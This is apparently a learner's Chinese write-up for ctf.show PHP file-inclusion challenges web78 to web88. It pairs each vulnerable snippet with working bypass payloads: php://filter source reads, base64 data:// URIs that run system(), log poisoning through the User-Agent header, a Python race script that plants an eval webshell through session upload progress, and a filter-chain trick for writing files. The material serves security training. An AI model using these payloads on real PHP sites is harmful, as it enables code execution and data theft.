说明
从零开始学 主要为了学知识
web78
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
php伪协议读取
?file=php://filter/convert.base64-encode/resource=flag.php
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了
convert.* 转换过滤器
convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用 base64_encode()和 base64_decode()函数处理所有的流数据
拓展
XXE
php://filter
web79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
直接调用hackbar LFI模块 很方便
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web80,81
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
emm… 把php和data都ban了
日志包含配合UA头解决战斗
apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
?file=/var/log/nginx/access.log
按照计划 本该结束战斗 结果出了岔子
User-Agent: <?php system("ls"); ?>
貌似 " 读不出来? 。。。。。。
User-Agent: <?php system('ls'); ?>
就欧凯了。。。
web82
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
import requests
import io
import threading
url = "http://d60f9552-d734-4ad9-896b-afa360bb630c.challenge.ctf.show:8080/"
sessionID = "flag"
data = {"cmd": "system('cat fl0g.php');"}
def write(session):
while True:
f = io.BytesIO(b'a'*1024*50)
resp = session.post(url=url,data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST["cmd"]);?>'},files={'file':('flag.txt',f)},cookies={'PHPSESSID':sessionID})
def read(session):
while True:
resp = session.post(url='http://d60f9552-d734-4ad9-896b-afa360bb630c.challenge.ctf.show:8080/?file=/tmp/sess_flag',data=data)
if 'flag.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("=========retry==========")
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1,5):
threading.Thread(target=write, args=(session,)).start()
for i in range(1,5):
threading.Thread(target=read, args=(session,)).start()
event.set()
web84~86
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
rm -rf /tmp/* 直接把 tmp下的文件都给删掉。emmm
貌似没什么用 还是跟82一样
82 - 86都可用一个脚本。。。
web87
php://filter 是一种设计用来允许过滤器程序在打开时成为流的封装协议。这对于单独具有完整功能的文件函数非常有用,否则就没有机会在读取内容之前将过滤器应用于流之上。
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
注意这里
urldecode($file)
file=php://filter/write=convert.base64-decode/resource=1.php
意思是对写入1.php的内容base64-decode
so
<?php die('大佬别秀了');?>
就只剩下 phpdie
base64-deode相当于
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
又base64算法解码时是4个byte一组 所以要加上两个东东
emmm 因为过滤了php 所以要全编码两次
web88
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
过滤了.
很重要 日志包含用不了啦
emmm 去掉 = 不影响
?file=data://text/plain;base64,PD89IHN5c3RlbSgnY2F0IGYqJyk7Pz4